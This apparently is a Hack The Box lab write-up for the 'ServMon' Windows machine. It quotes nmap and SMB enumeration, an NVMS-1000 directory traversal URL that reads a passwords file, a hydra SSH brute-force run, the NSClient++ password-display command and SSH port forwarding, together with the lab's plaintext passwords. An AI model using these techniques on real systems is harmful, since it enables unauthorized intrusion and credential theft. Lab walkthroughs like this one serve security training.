HacktheBox 'ServMon' writeup
‘ServMon’ HTB Writeup
Host Information
| Hostname | IP Address | Operating System | Difficulty Level |
| ServMon | 10.10.10.184 | Windows | Easy |
Writeup Contents
- ‘ServMon’ HTB Writeup
Initial Recon
nmap information
An initial full TCP nmap scan of the host was run with the followiong command:
nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/0ps/HTB/servmon/scans/_full_tcp_nmap.txt" -oX "/0ps/HTB/servmon/scans/xml/_full_tcp_nmap.xml" 10.10.10.184
The following ports were revealed open on the target, followed by the full nmap script ouput below:
10.10.10.184
| Port | State | Service | Version |
|---|---|---|---|
| 21/tcp | open | ftp | Microsoft ftpd |
| 22/tcp | open | ssh | OpenSSH for_Windows_7.7 |
| 80/tcp | open | http | |
| 135/tcp | open | msrpc | Microsoft Windows RPC |
| 139/tcp | open | netbios-ssn | Microsoft Windows netbios-ssn |
| 445/tcp | open | microsoft-ds | |
| 5040/tcp | open | unknown | |
| 5666/tcp | open | tcpwrapped | |
| 6063/tcp | open | tcpwrapped | |
| 6699/tcp | open | tcpwrapped | |
| 8443/tcp | open | https-alt | |
| 49664/tcp | open | msrpc | Microsoft Windows RPC |
| 49665/tcp | open | msrpc | Microsoft Windows RPC |
| 49666/tcp | open | msrpc | Microsoft Windows RPC |
| 49667/tcp | open | msrpc | Microsoft Windows RPC |
| 49668/tcp | open | msrpc | Microsoft Windows RPC |
| 49669/tcp | open | msrpc | Microsoft Windows RPC |
| 49670/tcp | open | msrpc | Microsoft Windows RPC |
# Nmap 7.80 scan initiated Tue Jun 16 17:59:39 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/servmon/scans/_full_tcp_nmap.txt -oX /0ps/HTB/servmon/scans/xml/_full_tcp_nmap.xml 10.10.10.184
Increasing send delay for 10.10.10.184 from 0 to 5 due to 73 out of 243 dropped probes since last increase.
Nmap scan report for 10.10.10.184
Host is up, received user-set (0.039s latency).
Scanned at 2020-06-16 17:59:40 CDT for 2784s
Not shown: 65517 closed ports
Reason: 65517 resets
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_01-18-20 12:05PM <DIR> Users
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh syn-ack ttl 127 OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnC92+BCplDo38VDQIZzb7V3HN/OucvxF0VMDDoYShdUrpDUW6JcSR/Zr6cADbHy7eDLw2O+WW+M4SzH7kfpbTv3HvJ0z8iOsRs2nUrUint4CR/A2vYA9SFOk18FU0QUS0sByBIlemU0uiPxN+iRCcpFhZDj+eiVRF7o/XxNbExnhU/2n9MXwFS8XTYNeGqSLE1vV6KdpMfpJj/yey8gvEpDQTX5OQK+kkUHze3LXLyu/XVTKzfqUBMAP+IQ5F6ICWgaC1a+cx/D7C/aobCbqaXY+75t1mxbEMmm1Wv/42nVQxcT7tN2C3sds4VJkYgZKcBhsE0XdJcR9mTb1wWsg9
| 256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMToH2eB7rzpMZuvElpHYko/TXSsOfG8EXWQxmC/T4PCaAmVRDgJWEFMHgpRilSAKoOBlS2RHWNpMJldTFbWSVo=
| 256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILbqSRVLRJFVNhD0W0C5xB7b3RoJZZKdM+jSGryFWOQa
80/tcp open http syn-ack ttl 127
| fingerprint-strings:
| GetRequest, HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Content-type: text/html
| Content-Length: 340
| Connection: close
| AuthInfo:
| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
| <html xmlns="http://www.w3.org/1999/xhtml">
| <head>
| <title></title>
| <script type="text/javascript">
| window.location.href = "Pages/login.htm";
| </script>
| </head>
| <body>
| </body>
| </html>
| NULL:
| HTTP/1.1 408 Request Timeout
| Content-type: text/html
| Content-Length: 0
| Connection: close
|_ AuthInfo:
|_http-favicon: Unknown favicon MD5: 3AEF8B29C4866F96A539730FAB53A88F
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
5040/tcp open unknown syn-ack ttl 127
5666/tcp open tcpwrapped syn-ack ttl 127
6063/tcp open tcpwrapped syn-ack ttl 127
6699/tcp open tcpwrapped syn-ack ttl 127
8443/tcp open ssl/https-alt syn-ack ttl 127
| fingerprint-strings:
| FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions, apple-iphoto, docker, hazelcast-http:
| HTTP/1.1 404
| Content-Length: 18
| Document not found
| GetRequest, OfficeScan:
| HTTP/1.1 302
| Content-Length: 0
| Location: /index.html
| workers
| jobs
| submitted
| errors
| threads
| metasploit-msgrpc:
| HTTP/1.1 403
| Content-Length: 20
|_ Your not allowed
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2020-01-14T13:24:20
| Not valid after: 2021-01-13T13:24:20
| MD5: 1d03 0c40 5b7a 0f6d d8c8 78e3 cba7 38b4
| SHA-1: 7083 bd82 b4b0 f9c0 cc9c 5019 2f9f 9291 4694 8334
| -----BEGIN CERTIFICATE-----
| MIICoTCCAYmgAwIBAgIBADANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDDAlsb2Nh
| bGhvc3QwHhcNMjAwMTE0MTMyNDIwWhcNMjEwMTEzMTMyNDIwWjAUMRIwEAYDVQQD
| DAlsb2NhbGhvc3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDXCoMi
| kUUWbCi0E1C/LfZFrm4UKCheesOFUAITOnrCvfkYmUR0o7v9wQ8yR5sQR8OIxfJN
| vOTE3C/YZjPE/XLFrLhBpb64X83rqzFRwX7bHVr+PZmHQR0qFRvrsWoQTKcjrElo
| R4WgF4AWkR8vQqsCADPuDGIsNb6PyXSru8/A/HJSt5ef8a3dcOCszlm2bP62qsa8
| XqumPHAKKwiu8k8N94qyXyVwOxbh1nPcATwede5z/KkpKBtpNfSFjrL+sLceQC5S
| wU8u06kPwgzrqTM4L8hyLbsgGcByOBeWLjPJOuR0L/a33yTL3lLFDx/RwGIln5s7
| BwX8AJUEl+6lRs1JAgMBAAEwDQYJKoZIhvcNAQEFBQADggEBAAjXGVBKBNUUVJ51
| b2f08SxINbWy4iDxomygRhT/auRNIypAT2muZ2//KBtUiUxaHZguCwUUzB/1jiED
| s/IDA6dWvImHWnOZGgIUsLo/242RsNgKUYYz8sxGeDKceh6F9RvyG3Sr0OyUrPHt
| sc2hPkgZ0jgf4igc6/3KLCffK5o85bLOQ4hCmJqI74aNenTMNnojk42NfBln2cvU
| vK13uXz0wU1PDgfyGrq8DL8A89zsmdW6QzBElnNKpqNdSj+5trHe7nYYM5m0rrAb
| H2nO4PdFbPGJpwRlH0BOm0kIY0az67VfOakdo1HiWXq5ZbhkRm27B2zO7/ZKfVIz
| XXrt6LA=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
2 services unrecognized despite returning data.
Aggressive OS guesses: Microsoft Windows Longhorn (95%), Microsoft Windows 10 1511 (93%), Microsoft Windows 10 1703 (93%), Microsoft Windows Server 2008 R2 (93%), Microsoft Windows Server 2008 SP2 (93%), Microsoft Windows 7 SP1 (93%), Microsoft Windows 8 (93%), Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows 7 Enterprise SP1 (92%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/16%OT=21%CT=1%CU=38833%PV=Y%DS=2%DC=T%G=Y%TM=5EE959B
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S%TS=
OS:U)OPS(O1=M54DNW8NNS%O2=M54DNW8NNS%O3=M54DNW8%O4=M54DNW8NNS%O5=M54DNW8NNS
OS:%O6=M54DNNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%
OS:DF=Y%T=80%W=FFFF%O=M54DNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=
OS:0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S
OS:=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=
OS:Z)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 1m19s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 50413/tcp): CLEAN (Couldn't connect)
| Check 2 (port 20065/tcp): CLEAN (Couldn't connect)
| Check 3 (port 62907/udp): CLEAN (Failed to receive data)
| Check 4 (port 62863/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-06-16T23:47:04
|_ start_date: N/A
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 38.97 ms 10.10.14.1
2 39.23 ms 10.10.10.184
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 16 18:46:04 2020 -- 1 IP address (1 host up) scanned in 2784.81 seconds
nmap scan observations
We see that the target is Windows, with an HTTP service open on port 80, FTP (which allows anonymous logon) and SSH on their standard ports, SMB open on 139 and 445, an appararnt ‘https-alt’ service on port 8443, and a variety of msrpc servicees.
FTP enumeration
We can quickly verify that FTP allows for anonymous logons, and can see a two potentially interesting files under two different subdirectories of users, as shown below.
initinfosec@kali:/0ps/HTB/servmon/scans$ ftp 10.10.10.184 21
Connected to 10.10.10.184.
220 Microsoft FTP Service
Name (10.10.10.184:initinfosec): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20 12:05PM <DIR> Users
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20 12:06PM <DIR> Nadine
01-18-20 12:08PM <DIR> Nathan
226 Transfer complete.
ftp> dir Nadine
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20 12:08PM 174 Confidential.txt
226 Transfer complete.
ftp> dir Nathan
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20 12:10PM 186 Notes to do.txt
226 Transfer complete.
Let’s go ahead and transfer both text files to our loot directory and view them:
ftp> get Nadine/Confidential.txt confidential.txt
local: confidential.txt remote: Nadine/Confidential.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
174 bytes received in 0.04 secs (4.1331 kB/s)
ftp> get "Nathan/Notes to do.txt" notes_to_do.txt
local: notes_to_do.txt remote: Nathan/Notes to do.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
186 bytes received in 0.04 secs (4.3099 kB/s)
ftp> bye
221 Goodbye.
initinfosec@kali:/0ps/HTB/servmon/loot$ cat confidential.txt && echo "" && cat notes_to_do.txt && echo ""
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
Great, so we know there may be a Passwords.txt file on Nathan’s desktop folder with sensitive information, or it may have been updated and moved to an allegedly ‘secure location.’
There’s also note about uploading passwords and locking down NVMS, which don’t appear to be done yet, as well as placing the secret files in Sharepoint. Perhaps that was the ‘secret location’ mentioned earlier. There was also mention of the NVMS password being updated, which is already marked done. So it may be a fair assumption that a default password for the service may not work, if there is one.
SMB Enumeration
Briefly taking a look at SMB, we can try a variety of enumeration commands. However, we notice that nmap NSE enumeration scripts for SMB fail, as does enum4linux and smbmap and smbclient commands - stating eithe NT_ACCESS_DENIED or RPC Authentication error occured - both on ports 139 and 445.
A more intensive/loud nmap NSE scan targeted at trying to identify SMB vulnerabilites on these ports on the target, but it also yields nothing of obvious use, as shown by the output below:
initinfosec@kali:/0ps/HTB/servmon/scans$ sudo nmap -vv --reason -Pn -sV -p 139,445 --script=smb-vuln* --script-args="unsafe=1" 10.10.10.184
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-16 23:04 CDT
NSE: Loaded 56 scripts for scanning.
Scanning 10.10.10.184 [2 ports]
Discovered open port 139/tcp on 10.10.10.184
Discovered open port 445/tcp on 10.10.10.184
Completed SYN Stealth Scan at 23:04, 0.09s elapsed (2 total ports)
Initiating Service scan at 23:04
Scanning 2 services on 10.10.10.184
Completed Service scan at 23:04, 8.78s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.184.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 23:04
Completed NSE at 23:05, 13.45s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 23:05
Completed NSE at 23:05, 0.10s elapsed
Nmap scan report for 10.10.10.184
Host is up, received user-set (0.044s latency).
Scanned at 2020-06-16 23:04:39 CDT for 23s
PORT STATE SERVICE REASON VERSION
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb-vuln-ms10-054: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 23:05
Completed NSE at 23:05, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 23:05
Completed NSE at 23:05, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.23 seconds
Raw packets sent: 2 (88B) | Rcvd: 2 (88B)
HTTP enumeration
A quick visit to the main page of 10.10.10.184 in a browser seems to confirm what NVMS is, showing a portal stating “NVMS-1000” as shown below:
This appears to be some centralized storage for surviellance video suggested by this link which also seems to indicate that usernames and passwords are self-defined upon setup.
A quick search on EDB seems to show that NVMS-1000 may be vulnerable to directory traversal:
initinfosec@kali:/0ps/HTB/servmon/exploit$ searchsploit nvms 1000
------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
NVMS 1000 - Directory Traversal | hardware/webapps/47774.txt
TVT NVMS 1000 - Directory Traversal | hardware/webapps/48311.py
------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
initinfosec@kali:/0ps/HTB/servmon/exploit$
Both vulnerability entries seem to suggest the same method for traversal, but it’s not yet clear if the traversal requires authentication. The fact that neither exploit mentions it though may hint that exploitation for this vulnerabilty does not require auth.
Let’s go ahead and download the python version of the exploit and see if we can retreive the passwords.txt file from Nathan’s desktop.
initinfosec@kali:/0ps/HTB/servmon/exploit$ searchsploit -m 48311
Running the command then gives us usage info:
initinfosec@kali:/0ps/HTB/servmon/exploit$ python 48311.py
Usage : python exploit.py url filename outputname
Example : python exploit.py http://10.10.10.10/ windows/win.ini win.ini
If you happen to get the following non-ASCII character error, change the last name on line 7 to have a standard “u” instead of the U umlaut.
File "48311.py", line 7
SyntaxError: Non-ASCII character '\xc3' in file 48311.py on line 7, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details
When running the script however, we get a result that the server is not vulnerable to path traversal. So perhaps this exploit is not applicable, or does indeed require authentication:
initinfosec@kali:/0ps/HTB/servmon/exploit$ python 48311.py http://10.10.10.184/ users/desktop/nathan/Passwords.txt passwords.txt
Host not vulnerable to Directory Traversal!
It seems that the page may be redirecting any URL appended to the main address unless authentication is provided, however, as is evidenced by a failed gobuster scan, as well as hinted at in a nikto scan of the host, with the results shown below:
initinfosec@kali:/0ps/HTB/servmon/scans$ cat tcp_80_http_nikto.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.184
+ Target Hostname: 10.10.10.184
+ Target Port: 80
+ Start Time: 2020-06-16 18:07:32 (GMT-5)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'authinfo' found, with contents:
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-18114: /reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF: Oracle Reports rwservlet report Variable Arbitrary Report Executable Execution
+ 7865 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2020-06-16 18:28:15 (GMT-5) (1243 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
However, we notice if we URL encode the ../’s found in the exploit and manually search for the passwords.txt file, that the directory traversal vulnerabilty does indeed exist and is trivially exploitable.
Going to http://10.10.10.184/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusers/Nathan/Desktop/Passwords.txt shows the following:
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
HTTPS Enumeration
Visiting the index/main page of the HTTPS service on port 8443 shows the following after accepting the certification warning, labeled as NSClient++
A quick google search for the default login for NSClient seems to indicate a password may not be initially set however this doesn’t seem to work when trying it.
I’m not familiar with the web application, software, but a quick google search seems to show that it is a free open-source software (FOSS) acting as a monitoring agent. This would make sense why the hostname is ServMon, in this case.
Trying each of the passwords found from the path traversal exploit against port 80 for the admin sign in doesn’t seem to yield a successful login. However, it’s not entirely clear if the password is incorrect or if the service just does not allow external logons, as we recall that the second item in the To-Do list mentioned that locking down NSClient Access was done.
gaining an initial foothold
So let’s try to figure out what the found passwords belong to. We know that we have FTP, SSH, and SMB which require auth. We’ll start by creating two files, once containing likely usernames, one containing the passwords found from the path traversal vulnerability. Then we can use hydra to attempt to try these combinations on the aforementioned services. We can quickly create these lists, which are shown below:
initinfosec@kali:/0ps/HTB/servmon/scans$ cat users.list
Nathan
nathan
Nadine
nadine
admin
servmon
initinfosec@kali:/0ps/HTB/servmon/scans$ cat passwords.list
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
First we can try attempting a login on FTP with hydra, using the following command:
initinfosec@kali:/0ps/HTB/servmon/scans$ hydra -L users.list -P passwords.list -e nsr -s 21 -o "/0ps/HTB/servmon/scans/tcp_21_ftp_hydra.txt" ftp://10.10.10.184
However, it appears this was unsuccessful and found no FTP logins from the list.
Next we run a similar hydra command using the lists to test against SSH:
initinfosec@kali:/0ps/HTB/servmon/scans$ hydra -L users.list -P passwords.list -e nsr -s 22 -o "/0ps/HTB/servmon/scans/tcp_22_ssh_hydra.txt" ssh://10.10.10.184
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-17 12:08:24
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 60 login tries (l:6/p:10), ~4 tries per task
[DATA] attacking ssh://10.10.10.184:22/
[22][ssh] host: 10.10.10.184 login: Nadine password: L1k3B1gBut7s@W0rk
[22][ssh] host: 10.10.10.184 login: nadine password: L1k3B1gBut7s@W0rk
1 of 1 target successfully completed, 2 valid passwords found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-17 12:08:38
This does indeed seem to be successful, providing a probable login for nadine over SSH. Using the credentials validates the scanner findings, providing us an initial foothold on the target ‘ServMon’ as ‘nadine’ as shown in the below screenshot. From here we can grab the user.txt file from Nadine’s desktop
Privilege Escalation
PrivEsc enumeration
Now we need to figure out how to escalate privileges from Nadine to NT_AUTHORITY_SYSTEM. A quick looking in the users folder shows Public, Nathan, and Admintrator listed alongside Nadine, with access denied to each of these folders. Going to the root of the C: drive, we see a folder called ‘Shared’ which seems to be the ftproot.
Running a whoami /all commmand, we can gather further information about our current user:
nadine@SERVMON c:\Program Files>whoami /all
USER INFORMATION
----------------
User Name SID
============== =============================================
servmon\nadine S-1-5-21-3877449121-2587550681-992675040-1002
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== =======
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
Looking around in the root directory and a few other folders underneath, nothing sticks out as an obvious sharepoint folder (hinted at in the to-do list) where we might find addiitonal credentials or useful information. There does seem to be an interesting directory called RecData containing a SQLite database, shown below. The DB table doesn’t seem to contain creds but mentions alerts. If I were to take an educated guess, this is likely footage storage for the NVMS-1000 platform as it seems to deail with security/surviellance footage.
nadine@SERVMON c:\RecData>dir
Volume in drive C has no label.
Volume Serial Number is 728C-D22C
Directory of c:\RecData
17/06/2020 18:31 <DIR> .
17/06/2020 18:31 <DIR> ..
18/01/2020 11:00 8,192 RecordInfoDB.db3
18/01/2020 11:00 0 RecordInfoDB.db3-journal
17/06/2020 18:31 229,888 winpeas.exe
3 File(s) 238,080 bytes
2 Dir(s) 27,848,257,536 bytes free
nadine@SERVMON c:\RecData>type RecordInfoDB.db3
SQLite format 3 @ -Ô# ¹ ¹
AU/ indexsqlite_autoindex_C_RECORD_LOG_INFO_1C_RECORD_LOG_INFOé#--âytableC_ALARM_REC_INFOC_ALARM_REC_INFOCREATE TABLE C_ALARM_REC_INFO (
CHANNEL_ID CHAR(64) NOT NULL, ALARM_TYPE INTEGER, START_TIME INTEGER,
END_TIME INTEGER, CONSTRAINT [C_ALARM_REC_INFO_PrimaryKey] PRIMARY KEY (CHANNEL_ID, ALARM_TYPE, START_
TIME))?S- indexsqlite_autoindex_C_ALARM_REC_INFO_1C_ALARM_REC_INFO é?++ä5tableC_REC_FILE_INFOC_REC_FILE_INFOCREATE TABLE C_REC_FILE_INFO (
FILE_INDEX INTEGER, FILE_STATUS INTEGER, HAS_BADTRACK INTEGER,
START_TIME INTEGER, END_TIME INTEGER, USED_TIMES INTEGER,
ÿ ÿ┌y
AU/ indexsqlite_autoindex_C_RECORD_LOG_INFO_1C_RECORD_LOG_INFOé#--âytableC_ALARM_REC_INFOC_ALARM_REC_INFOCREATE TABLE C_ALARM_é?++ä5tableC_REC_FILE_INFOC_REC_FIL
E_INFOCREATE TABLE C_REC_FILE_INFO ( FILE_INDEX INTEGER, FILE_STATUS INTEGER,
HAS_BADTRACK INTEGER, START_TIME INTEGER, END_TIME INTEGER
, USED_TIMES INTEGER, CONSTRAINT [C_REC_FILE_INFO_PrimaryKey] PRIMARY KEY (FILE_IN
DEX))é#--âytableC_ALARM_REC_INFOC_ALARM_REC_INFOCREATE TABLE C_ALARM_REC_INFO ( CHANNEL_ID CHAR(64) NOT NULL,
ALARM_TYPE INTEGER, START_TIME INTEGER, END_TIME INTEGER,
y y║¢
?S- indexsqlite_autoindex_C_ALARM_REC_INFO_1C_ALARM_REC_INFOé //â/tableC_RECORD_LOG_INFOC_RECORD_LOG_INFOCREATE TABLE C_RECORD_LOG_INFO (
CHANNEL_ID CHAR(64) NOT NULL, START_TIME INTEGER, END_TIME INTEGER,
CONSTRAINT [C_RECORD_LOG_INFO_PrimaryKey] PRIMARY KEY (CHANNEL_ID, START_TIME))AU/ indexsqlite_autoindex_C_RECORD_LOG_INFO_1C_RECORD_LOG_INFO
Another thing we can check is if we can authenticate to SMB using nadine’s crednetials, since we know they are valid now. Going to smb://10.10.10.184/ in the filebrowser and logging in with the same credentials found for SSH is successful, showing both a C$ folder and an ADMIN$ folder. However, the authentication does not work seemingly, when trying to go into either of these directories. This is further confirmed that nadine does not had read access to either share by running the following smbmap command providing nadine’s crednetials:
initinfosec@kali:/0ps/HTB/servmon/scans$ sudo smbmap -H 10.10.10.184 -u nadine -p 'L1k3B1gBut7s@W0rk'
[+] IP: 10.10.10.184:445 Name: 10.10.10.184
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
Going back to test the NSClient login, it appears Nadine’s credentials do not work. However, when clicking the ‘Forgot Password’ link, there’s an option to run a command to either show the current password, or reset it, as shown below.
Going to the NSClient++ directory in Program Files, we run the command given, which does indeed show the current password, as shown below:
nadine@SERVMON c:\Program Files\NSClient++>nscp web -- password --display
Current password: ew2x6SsGTxjRwXOT
However, entering this still gives a 403 error. It’s likely that external hosts/IPs are not allowed, as locking down the NSClient Access was marked as ‘done’ on the to-do list found at the begninning.
Since we know valid creds for the target and the port is above 1024, let’s use SSH to forward traffic from our attacker IP on port 8443 to the server on port 8443 appearing as localhost, in order to see if we can have the server see the authentication as coming from localhost, and potentially allow us to authenticate. In order to perform this, we’ll run a remote port forward from the target foothold as nadine, but provide our VPN IP as the argument to authenticate against.
In a new terminal, ensure that SSH server is running locally on the attacker machine with sudo service ssh start. Once done, we’ll login as nadine again in this new shell (in case we need the other one for later). Once authenticated as nadine, we’ll run the remote port forward argument, telling SSH to forward anything that comes from our VPN IP (provided as the auth arguement at the end) over to localhost on port 8443. So all said and done, the syntax should look something like what is shown below. Note that due to SSH settings in kali, localhost is forwarded with the given argument, meaning that you will have to browse to the URL as https://localhost:8443, as shown by the listening ports in the netstat command at the end of the code block below. Note that this still forwards the traffice properly to the target.
initinfosec@kali:/0ps/HTB/servmon/exploit$ ssh nadine@10.10.10.184
nadine@10.10.10.184's password:
Permission denied, please try again.
nadine@10.10.10.184's password:
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.
